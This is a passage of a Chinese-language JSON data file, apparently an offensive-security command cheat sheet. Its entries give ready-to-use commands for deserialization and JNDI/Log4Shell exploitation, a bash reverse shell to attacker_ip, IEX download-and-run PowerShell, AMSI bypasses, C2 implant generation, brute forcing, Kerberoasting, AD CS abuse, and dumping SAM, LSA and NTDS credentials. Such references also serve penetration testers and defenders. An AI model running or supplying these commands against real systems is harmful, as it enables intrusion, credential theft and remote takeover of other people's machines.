            "explanation": "Gadget Chain名称(依赖目标classpath)",
            "type": "parameter"
          },
          {
            "part": "\"id\"",
            "explanation": "要执行的系统命令",
            "type": "value"
          }
        ]
      },
      {
        "command": "java -jar ysoserial.jar --help\n# 常用: CommonsCollections1-7, Jdk7u21, URLDNS, JRMPClient",
        "description": "列出所有可用的Gadget Chain",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "# 监听端(攻击机):\njava -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 \"bash -c {echo,base64_cmd}|{base64,-d}|{bash,-i}\"\n\n# 发送JRMP客户端Payload:\njava -jar ysoserial.jar JRMPClient attacker_ip:1099 > jrmp.bin",
        "description": "通过JRMP协议进行远程利用",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "java -jar ysoserial.jar URLDNS \"http://your_dnslog.com/test\" | base64",
        "description": "使用URLDNS链探测反序列化漏洞(无需依赖)",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "ysoserial-net",
    "name": "ysoserial.net",
    "description": ".NET反序列化Payload生成工具",
    "category": "漏洞利用",
    "tags": [],
    "commands": [
      {
        "command": "ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter -c \"calc\" -o base64",
        "description": "生成.NET反序列化Payload",
        "platform": "windows",
        "syntaxBreakdown": [
          {
            "part": "-g",
            "explanation": "Gadget Chain名称",
            "type": "parameter"
          },
          {
            "part": "-f",
            "explanation": "序列化格式(BinaryFormatter/ObjectStateFormatter等)",
            "type": "parameter"
          },
          {
            "part": "-c",
            "explanation": "要执行的命令",
            "type": "parameter"
          },
          {
            "part": "-o base64",
            "explanation": "Base64编码输出",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "ysoserial.exe -p ViewState -g TextFormattingRunProperties -c \"cmd /c whoami\" --validationalg=SHA1 --validationkey=MACHINE_KEY --generator=GENERATOR",
        "description": "伪造ASP.NET ViewState执行命令",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "ysoserial.exe -l\n# 常用: TextFormattingRunProperties, TypeConfuseDelegate, PSObject",
        "description": "列出所有可用的Gadget Chain和格式",
        "platform": "windows",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "marshalsec",
    "name": "Marshalsec",
    "description": "Java反序列化利用工具，支持多种Marshal格式和JNDI注入",
    "category": "漏洞利用",
    "tags": [],
    "commands": [
      {
        "command": "java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer \"http://attacker_ip:8888/#Exploit\" 1389",
        "description": "启动恶意LDAP服务器用于JNDI注入(Log4Shell等)",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "LDAPRefServer",
            "explanation": "启动LDAP Reference服务器",
            "type": "command"
          },
          {
            "part": "\"http://attacker_ip:8888/#Exploit\"",
            "explanation": "恶意class文件托管URL",
            "type": "value"
          },
          {
            "part": "1389",
            "explanation": "LDAP服务监听端口",
            "type": "value"
          }
        ]
      },
      {
        "command": "java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer \"http://attacker_ip:8888/#Exploit\" 1099",
        "description": "启动恶意RMI服务器",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "# 1. 编译恶意class: javac Exploit.java\n# 2. 托管class: python3 -m http.server 8888\n# 3. 启动LDAP: java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer \"http://ip:8888/#Exploit\" 1389\n# 4. 触发: ${jndi:ldap://ip:1389/Exploit}",
        "description": "配合Log4j2 RCE完整利用链",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "jndi-exploit",
    "name": "JNDIExploit",
    "description": "JNDI注入利用工具，集成多种Gadget和Bypass",
    "category": "漏洞利用",
    "tags": [],
    "commands": [
      {
        "command": "java -jar JNDIExploit.jar -i attacker_ip",
        "description": "启动JNDI Exploit服务(同时监听LDAP 1389和HTTP 3456)",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "-i",
            "explanation": "攻击机IP地址",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "# 触发Payload:\n${jndi:ldap://attacker_ip:1389/Basic/Command/Base64/Y21k}\n${jndi:ldap://attacker_ip:1389/Basic/ReverseShell/attacker_ip/4444}",
        "description": "通过不同路由执行命令或反弹Shell",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "# 使用Tomcat Bypass:\n${jndi:ldap://attacker_ip:1389/TomcatBypass/Command/Base64/d2hvYW1p}\n# 使用反序列化Bypass:\n${jndi:ldap://attacker_ip:1389/Deserialization/CommonsCollections5/Command/Base64/d2hvYW1p}",
        "description": "绕过高版本JDK的trustURLCodebase限制",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "rogue-jndi",
    "name": "Rogue JNDI",
    "description": "恶意JNDI服务器，提供多种攻击向量",
    "category": "漏洞利用",
    "tags": [],
    "commands": [
      {
        "command": "java -jar RogueJndi.jar --command \"whoami\" --hostname attacker_ip",
        "description": "启动恶意JNDI服务(LDAP+RMI+HTTP)",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "java -jar RogueJndi.jar --command \"bash -i >& /dev/tcp/attacker_ip/4444 0>&1\" --hostname attacker_ip",
        "description": "配置反弹Shell命令",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "# LDAP: ${jndi:ldap://attacker_ip:1389/o=reference}\n# RMI: ${jndi:rmi://attacker_ip:1099/o=reference}",
        "description": "在目标注入JNDI Lookup触发利用",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "cobalt-strike",
    "name": "Cobalt Strike",
    "description": "商业化红队C2框架，支持多种攻击和后渗透功能",
    "category": "漏洞利用",
    "tags": [],
    "commands": [
      {
        "command": "./teamserver your_ip your_password malleable_c2_profile.profile",
        "description": "启动CS服务端",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "# GUI操作:\n# Attacks > Packages > Windows Executable (S)\n# Attacks > Packages > HTML Application\n# Attacks > Web Drive-by > Scripted Web Delivery",
        "description": "通过图形界面生成各类Payload",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "# 基础信息\nwhoami\nshell ipconfig\ngetuid\n\n# 横向移动\njump psexec target_ip SMB_listener\njump winrm target_ip HTTP_listener\n\n# 凭证获取\nhashdump\nlogonpasswords\n\n# 持久化\npersist-service\npersist-registry",
        "description": "获取Beacon后的常用后渗透命令",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "# 使用C2 Profile伪装流量:\n# https://github.com/rsmudge/Malleable-C2-Profiles\n./teamserver ip pass jquery-c2.4.0.profile",
        "description": "使用Malleable C2 Profile伪装通信流量",
        "platform": "linux",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "sliver",
    "name": "Sliver",
    "description": "开源跨平台红队C2框架，Cobalt Strike替代品",
    "category": "漏洞利用",
    "tags": [],
    "commands": [
      {
        "command": "sliver-server",
        "description": "启动Sliver服务端",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "# 在Sliver控制台:\ngenerate --mtls attacker_ip --os windows --arch amd64 --save implant.exe\ngenerate --http attacker_ip --os linux --format shared --save implant.so",
        "description": "生成各平台的植入体",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "mtls -l 8888\nhttps -l 443 -d example.com\nwg -l 51820",
        "description": "启动mTLS/HTTPS/WireGuard监听器",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "# 获取Session后:\ninfo\ngetuid\nps\ndownload /etc/shadow\nupload local_file /tmp/remote\nexecute -o whoami\npivots tcp --bind 0.0.0.0:9050",
        "description": "常用后渗透操作命令",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "mythic",
    "name": "Mythic",
    "description": "模块化C2框架，支持多种Agent和自定义扩展",
    "category": "漏洞利用",
    "tags": [],
    "commands": [
      {
        "command": "sudo ./mythic-cli install github https://github.com/MythicAgents/Apollo\nsudo ./mythic-cli install github https://github.com/MythicAgents/Poseidon",
        "description": "安装Apollo(Windows)或Poseidon(Linux) Agent",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "https://attacker_ip:7443\n# 默认账号: mythic_admin\n# 密码查看: cat .env | grep MYTHIC_ADMIN_PASSWORD",
        "description": "通过Web界面管理C2操作",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "# 在Web界面:\n# 1. 创建Payload Profile\n# 2. 选择Agent类型(Apollo/Poseidon等)\n# 3. 配置C2 Profile\n# 4. 生成Payload下载",
        "description": "通过图形界面配置和生成Payload",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "medusa",
    "name": "Medusa",
    "description": "快速并行网络登录暴力破解工具",
    "category": "密码攻击",
    "tags": [],
    "commands": [
      {
        "command": "medusa -h target_ip -u admin -P passwords.txt -M ssh -t 4",
        "description": "4线程SSH密码暴力破解",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "medusa",
            "explanation": "并行网络登录破解工具",
            "type": "command"
          },
          {
            "part": "-h",
            "explanation": "目标主机",
            "type": "parameter"
          },
          {
            "part": "-u",
            "explanation": "用户名",
            "type": "parameter"
          },
          {
            "part": "-P",
            "explanation": "密码字典文件",
            "type": "parameter"
          },
          {
            "part": "-M ssh",
            "explanation": "指定协议模块",
            "type": "parameter"
          },
          {
            "part": "-t 4",
            "explanation": "并发线程数",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "medusa -h target_ip -U users.txt -P passwords.txt -M rdp -t 2",
        "description": "RDP远程桌面密码破解",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "medusa -h target_ip -U users.txt -P passwords.txt -M ftp -f",
        "description": "FTP破解(找到密码后停止)",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "medusa -H hosts.txt -U users.txt -P pass.txt -M ssh -t 3 -T 5",
        "description": "批量主机爆破(5台并行)",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "ncrack",
    "name": "Ncrack",
    "description": "Nmap项目出品的高速网络认证破解工具",
    "category": "密码攻击",
    "tags": [],
    "commands": [
      {
        "command": "ncrack -vv -U users.txt -P passwords.txt ssh://target_ip",
        "description": "SSH认证暴力破解",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "ncrack",
            "explanation": "高速网络认证破解工具",
            "type": "command"
          },
          {
            "part": "-vv",
            "explanation": "详细输出",
            "type": "parameter"
          },
          {
            "part": "ssh://target_ip",
            "explanation": "协议://目标格式",
            "type": "value"
          }
        ]
      },
      {
        "command": "ncrack -U users.txt -P pass.txt ssh://10.0.0.1 rdp://10.0.0.2 ftp://10.0.0.3",
        "description": "同时破解多个目标的不同服务",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "ncrack -iX nmap_scan.xml -U users.txt -P pass.txt",
        "description": "直接导入Nmap扫描结果进行破解",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "crowbar",
    "name": "Crowbar",
    "description": "专注RDP/VNC/SSH密钥/OpenVPN的暴力破解工具",
    "category": "密码攻击",
    "tags": [],
    "commands": [
      {
        "command": "crowbar -b rdp -s target_ip/32 -u admin -C passwords.txt -n 2",
        "description": "RDP密码暴力破解(2线程)",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "-b rdp",
            "explanation": "指定协议类型",
            "type": "parameter"
          },
          {
            "part": "-s",
            "explanation": "目标IP/CIDR",
            "type": "parameter"
          },
          {
            "part": "-n 2",
            "explanation": "并发连接数",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "crowbar -b sshkey -s target_ip/32 -u root -k /path/to/keys/",
        "description": "尝试多个SSH私钥登录",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "crowbar -b vnckey -s target_ip/32 -p password -k /path/to/keys/",
        "description": "VNC认证暴力破解",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "patator",
    "name": "Patator",
    "description": "多用途模块化暴力破解工具，支持数十种协议",
    "category": "密码攻击",
    "tags": [],
    "commands": [
      {
        "command": "patator ssh_login host=target_ip user=FILE0 password=FILE1 0=users.txt 1=passwords.txt",
        "description": "SSH登录暴力破解",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "ssh_login",
            "explanation": "使用SSH登录模块",
            "type": "command"
          },
          {
            "part": "FILE0/FILE1",
            "explanation": "引用字典文件(0和1编号)",
            "type": "variable"
          }
        ]
      },
      {
        "command": "patator http_fuzz url=\"https://target.com/login\" method=POST body=\"user=FILE0&pass=FILE1\" 0=users.txt 1=pass.txt -x ignore:fgrep=\"Login failed\"",
        "description": "HTTP登录表单暴力破解",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "patator ftp_login host=target_ip user=admin password=FILE0 0=passwords.txt",
        "description": "FTP密码暴力破解",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "crackstation",
    "name": "CrackStation",
    "description": "在线哈希查询和离线超大字典",
    "category": "密码攻击",
    "tags": [],
    "commands": [
      {
        "command": "# 访问 https://crackstation.net\n# 输入哈希值(支持MD5/SHA1/SHA256等)\n# 支持批量查询(每行一个哈希)",
        "description": "在线哈希值反查明文密码",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "# CrackStation字典(15GB+):\n# https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm\n# 配合hashcat使用:\nhashcat -m 0 hashes.txt crackstation.txt",
        "description": "使用CrackStation超大字典离线破解",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "seclists",
    "name": "SecLists字典",
    "description": "安全测试人员必备的字典集合(目录、密码、用户名、Payload等)",
    "category": "密码攻击",
    "tags": [],
    "commands": [
      {
        "command": "# 目录字典:\n/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt\n/usr/share/seclists/Discovery/Web-Content/common.txt\n\n# 密码字典:\n/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt\n\n# 用户名:\n/usr/share/seclists/Usernames/top-usernames-shortlist.txt",
        "description": "SecLists常用字典路径",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "# Fuzzing Payload:\n/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt\n/usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt\n\n# 子域名:\n/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt\n\n# 参数名:\n/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt",
        "description": "特殊用途字典(LFI/SQLi/子域名/参数)",
        "platform": "linux",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "rockyou",
    "name": "RockYou字典",
    "description": "来自2009年RockYou数据泄露的经典密码字典(1400万+)",
    "category": "密码攻击",
    "tags": [],
    "commands": [
      {
        "command": "gzip -d /usr/share/wordlists/rockyou.txt.gz\nwc -l /usr/share/wordlists/rockyou.txt  # 约14344392行",
        "description": "解压Kali自带的rockyou字典",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "# Hashcat:\nhashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt\n\n# John:\njohn --wordlist=/usr/share/wordlists/rockyou.txt hash.txt\n\n# Hydra:\nhydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target",
        "description": "配合各种密码破解工具使用",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "netexec",
    "name": "NetExec",
    "description": "CrackMapExec的继任者，网络渗透测试自动化工具",
    "category": "内网渗透",
    "tags": [],
    "commands": [
      {
        "command": "nxc smb 10.0.0.0/24 -u user -p password --shares\nnxc smb 10.0.0.0/24 -u user -p password --users",
        "description": "SMB共享和用户枚举",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "nxc",
            "explanation": "NetExec命令行工具",
            "type": "command"
          },
          {
            "part": "smb",
            "explanation": "指定SMB协议",
            "type": "parameter"
          },
          {
            "part": "--shares",
            "explanation": "枚举共享目录",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "nxc smb 10.0.0.0/24 -u users.txt -p \"Password123!\" --continue-on-success",
        "description": "使用单一密码对多用户进行喷射",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "nxc smb target_ip -u admin -p password -x \"whoami\"\nnxc winrm target_ip -u admin -p password -X \"Get-Process\"",
        "description": "通过SMB/WinRM执行命令",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "nxc smb target_ip -u admin -p password --sam\nnxc smb target_ip -u admin -p password --lsa\nnxc smb target_ip -u admin -p password --ntds",
        "description": "提取SAM/LSA/NTDS中的凭证",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "ligolo-ng",
    "name": "Ligolo-ng",
    "description": "高级内网隧道代理工具，基于TUN接口",
    "category": "内网渗透",
    "tags": [],
    "commands": [
      {
        "command": "# 创建TUN接口\nsudo ip tuntap add user $(whoami) mode tun ligolo\nsudo ip link set ligolo up\n\n# 启动代理服务\n./proxy -selfcert -laddr 0.0.0.0:11601",
        "description": "在攻击机上配置TUN接口和启动代理",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "ip tuntap add",
            "explanation": "创建TUN虚拟网络接口",
            "type": "command"
          },
          {
            "part": "-selfcert",
            "explanation": "使用自签名证书",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "./agent -connect attacker_ip:11601 -ignore-cert",
        "description": "在目标机运行Agent连接回攻击机",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "# 在Ligolo控制台:\nsession\nstart\n# 在攻击机添加路由:\nsudo ip route add 10.10.10.0/24 dev ligolo",
        "description": "配置路由实现内网直通",
        "platform": "linux",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "sharphound",
    "name": "SharpHound",
    "description": "BloodHound的C#数据收集器，在Windows域内收集AD信息",
    "category": "内网渗透",
    "tags": [],
    "commands": [
      {
        "command": ".\\SharpHound.exe -c All",
        "description": "收集所有AD域信息(用户/组/ACL/Session等)",
        "platform": "windows",
        "syntaxBreakdown": [
          {
            "part": "-c All",
            "explanation": "收集所有类型的数据",
            "type": "parameter"
          }
        ]
      },
      {
        "command": ".\\SharpHound.exe -c DCOnly --NoSaveCache --RandomFilenames --MemCache",
        "description": "仅从DC收集，不保存缓存，随机文件名",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": ".\\SharpHound.exe -c Session --Loop --LoopDuration 02:00:00 --LoopInterval 00:05:00",
        "description": "循环收集Session信息(2小时，每5分钟一次)",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": ".\\SharpHound.exe -c All -d child.domain.com --LdapUsername user --LdapPassword pass",
        "description": "收集指定子域的信息",
        "platform": "windows",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "bloodhound-python",
    "name": "BloodHound-Python",
    "description": "BloodHound的Python数据收集器，可从Linux远程收集AD信息",
    "category": "内网渗透",
    "tags": [],
    "commands": [
      {
        "command": "bloodhound-python -d domain.com -u user -p password -ns dc_ip -c All",
        "description": "从Linux远程收集AD域全量信息",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "-d",
            "explanation": "目标域名",
            "type": "parameter"
          },
          {
            "part": "-ns",
            "explanation": "DNS服务器(通常是DC)",
            "type": "parameter"
          },
          {
            "part": "-c All",
            "explanation": "收集所有类型数据",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "bloodhound-python -d domain.com -u user --hashes aad3b435b51404eeaad3b435b51404ee:ntlm_hash -ns dc_ip -c All",
        "description": "使用NTLM哈希进行Pass-the-Hash收集",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "bloodhound-python -d domain.com -u user -p pass -ns dc_ip -c Group,LocalAdmin,Session",
        "description": "仅收集组、本地管理员和会话信息",
        "platform": "linux",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "rubeus",
    "name": "Rubeus",
    "description": "Kerberos攻击工具集，用于票据操作和Kerberos攻击",
    "category": "内网渗透",
    "tags": [],
    "commands": [
      {
        "command": "Rubeus.exe kerberoast /outfile:hashes.txt\nRubeus.exe kerberoast /user:svc_sql /outfile:hash.txt",
        "description": "请求服务票据用于离线破解",
        "platform": "windows",
        "syntaxBreakdown": [
          {
            "part": "kerberoast",
            "explanation": "请求TGS票据进行离线破解",
            "type": "command"
          },
          {
            "part": "/outfile",
            "explanation": "保存哈希到文件",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt",
        "description": "对不需要预认证的账户请求AS-REP",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "Rubeus.exe ptt /ticket:base64_ticket\nRubeus.exe ptt /ticket:ticket.kirbi",
        "description": "导入Kerberos票据",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "Rubeus.exe asktgt /user:user /password:pass /enctype:aes256 /ptt\nRubeus.exe asktgt /user:user /rc4:ntlm_hash /ptt",
        "description": "使用密码或哈希请求TGT票据",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "Rubeus.exe s4u /user:svc$ /rc4:hash /impersonateuser:admin /msdsspn:cifs/target /ptt",
        "description": "S4U约束委派攻击",
        "platform": "windows",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "certipy",
    "name": "Certipy",
    "description": "AD CS(Active Directory证书服务)攻击工具",
    "category": "内网渗透",
    "tags": [],
    "commands": [
      {
        "command": "certipy find -u user@domain.com -p password -dc-ip dc_ip -enabled -vulnerable",
        "description": "枚举可利用的证书模板",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "find",
            "explanation": "枚举模式",
            "type": "command"
          },
          {
            "part": "-vulnerable",
            "explanation": "仅显示可利用的模板",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "certipy req -u user@domain.com -p password -ca CA-NAME -template VULN_TEMPLATE -upn admin@domain.com",
        "description": "ESC1: 利用允许SAN的模板伪造管理员证书",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "certipy auth -pfx admin.pfx -dc-ip dc_ip",
        "description": "使用证书进行PKINIT认证获取NT Hash",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "certipy shadow auto -u user@domain.com -p password -account target_user",
        "description": "Shadow Credentials攻击获取目标用户凭证",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "lazagne-tool",
    "name": "LaZagne",
    "description": "自动化本地密码恢复工具，支持数十种应用",
    "category": "内网渗透",
    "tags": [],
    "commands": [
      {
        "command": "lazagne.exe all",
        "description": "提取所有支持应用的密码",
        "platform": "windows",
        "syntaxBreakdown": [
          {
            "part": "all",
            "explanation": "搜索所有支持的应用程序",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "lazagne.exe browsers\nlazagne.exe wifi\nlazagne.exe databases\nlazagne.exe sysadmin",
        "description": "仅提取指定类别的密码",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "python3 lazagne.py all\npython3 lazagne.py browsers",
        "description": "Linux版本使用方式",
        "platform": "linux",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "seatbelt",
    "name": "Seatbelt",
    "description": "C#安全审计工具，快速收集Windows系统安全相关信息",
    "category": "内网渗透",
    "tags": [],
    "commands": [
      {
        "command": "Seatbelt.exe -group=all -full",
        "description": "执行所有安全检查",
        "platform": "windows",
        "syntaxBreakdown": [
          {
            "part": "-group=all",
            "explanation": "运行所有检查组",
            "type": "parameter"
          },
          {
            "part": "-full",
            "explanation": "详细输出模式",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "Seatbelt.exe -group=system -group=user",
        "description": "检查系统和用户相关安全配置",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "Seatbelt.exe CredEnum WindowsVault SavedRDPConnections RecentFiles",
        "description": "运行指定的检查模块",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "Seatbelt.exe -group=remote -computername=target -username=admin -password=pass",
        "description": "远程执行安全审计",
        "platform": "windows",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "winpeas",
    "name": "WinPEAS",
    "description": "Windows权限提升辅助脚本，自动发现提权路径",
    "category": "内网渗透",
    "tags": [],
    "commands": [
      {
        "command": "winpeasany.exe",
        "description": "执行所有Windows提权检查",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "winpeasany.exe fast",
        "description": "快速模式(跳过耗时检查)",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "winpeasany.exe servicesinfo\nwinpeasany.exe userinfo\nwinpeasany.exe systeminfo",
        "description": "仅检查指定类别",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "winpeasany.exe log=output.txt\nwinpeasany.exe /quiet > output.txt 2>&1",
        "description": "将结果保存到文件",
        "platform": "windows",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "linpeas",
    "name": "LinPEAS",
    "description": "Linux权限提升辅助脚本，自动发现提权路径",
    "category": "内网渗透",
    "tags": [],
    "commands": [
      {
        "command": "./linpeas.sh",
        "description": "执行所有Linux提权检查",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "./linpeas.sh -a -o output.txt",
        "description": "全面扫描(含耗时检查)并输出到文件",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash",
        "description": "无文件落地直接执行",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "./linpeas.sh -s\n# -s: 仅超快速检查\n# -P: 仅密码相关\n# -n: 仅网络信息",
        "description": "指定检查类别",
        "platform": "linux",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "powershell-amsi",
    "name": "PowerShell AMSI绕过",
    "description": "Windows AMSI(反恶意软件扫描接口)绕过技术集合",
    "category": "系统命令",
    "tags": [],
    "commands": [
      {
        "command": "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)",
        "description": "通过反射修改amsiInitFailed标志位",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "$a=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$b=$a.GetField('am'+'siIn'+'itFa'+'iled','NonPublic,Static');$b.SetValue($null,$true)",
        "description": "字符串拼接绕过AMSI签名检测",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "$w='System.Management.Automation.A'+'msiUtils';[Runtime.InteropServices.Marshal]::WriteByte(([Ref].Assembly.GetType($w).GetField('a'+'msiSession',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null)),0x80)",
        "description": "直接修改内存中的AMSI缓冲区",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "powershell -version 2 -command \"IEX (New-Object Net.WebClient).DownloadString('http://attacker/script.ps1')\"",
        "description": "使用PowerShell v2(无AMSI)运行脚本",
        "platform": "windows",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "wmic-cmd",
    "name": "WMIC命令",
    "description": "Windows Management Instrumentation命令行工具",
    "category": "系统命令",
    "tags": [],
    "commands": [
      {
        "command": "wmic os get Caption,Version,BuildNumber,OSArchitecture\nwmic computersystem get Name,Domain,Manufacturer,Model",
        "description": "获取操作系统和计算机信息",
        "platform": "windows",
        "syntaxBreakdown": [
          {
            "part": "wmic",
            "explanation": "WMI命令行工具",
            "type": "command"
          },
          {
            "part": "os get",
            "explanation": "查询操作系统对象属性",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "wmic process list brief\nwmic process where name=\"cmd.exe\" get processid,commandline\nwmic process call create \"cmd.exe /c whoami > C:\\temp\\out.txt\"",
        "description": "查询和创建进程",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "wmic service list brief\nwmic service where \"startmode='auto' and state='stopped'\" get name,startname",
        "description": "查询服务信息",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "wmic /node:target_ip /user:admin /password:pass process call create \"cmd.exe /c whoami\"",
        "description": "远程WMI命令执行",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "wmic product get name,version\nwmic qfe list",
        "description": "列出已安装软件和补丁",
        "platform": "windows",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "dsquery",
    "name": "DSQuery命令",
    "description": "Active Directory查询命令行工具",
    "category": "系统命令",
    "tags": [],
    "commands": [
      {
        "command": "dsquery user -limit 0\ndsquery user -name *admin*\ndsquery user -inactive 4",
        "description": "查询域用户(所有/管理员/不活跃)",
        "platform": "windows",
        "syntaxBreakdown": [
          {
            "part": "dsquery user",
            "explanation": "查询AD用户对象",
            "type": "command"
          },
          {
            "part": "-limit 0",
            "explanation": "不限制返回数量",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "dsquery computer -limit 0\ndsquery computer -name *server*",
        "description": "查询域内计算机对象",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "dsquery group -name \"Domain Admins\"\ndsquery group | dsget group -members",
        "description": "查询域组及成员",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
        "command": "dsquery ou\ndsquery * \"DC=domain,DC=com\" -filter \"(objectclass=organizationalUnit)\" -attr name",
        "description": "查询组织单位结构",
        "platform": "windows",
        "syntaxBreakdown": []
      },
      {
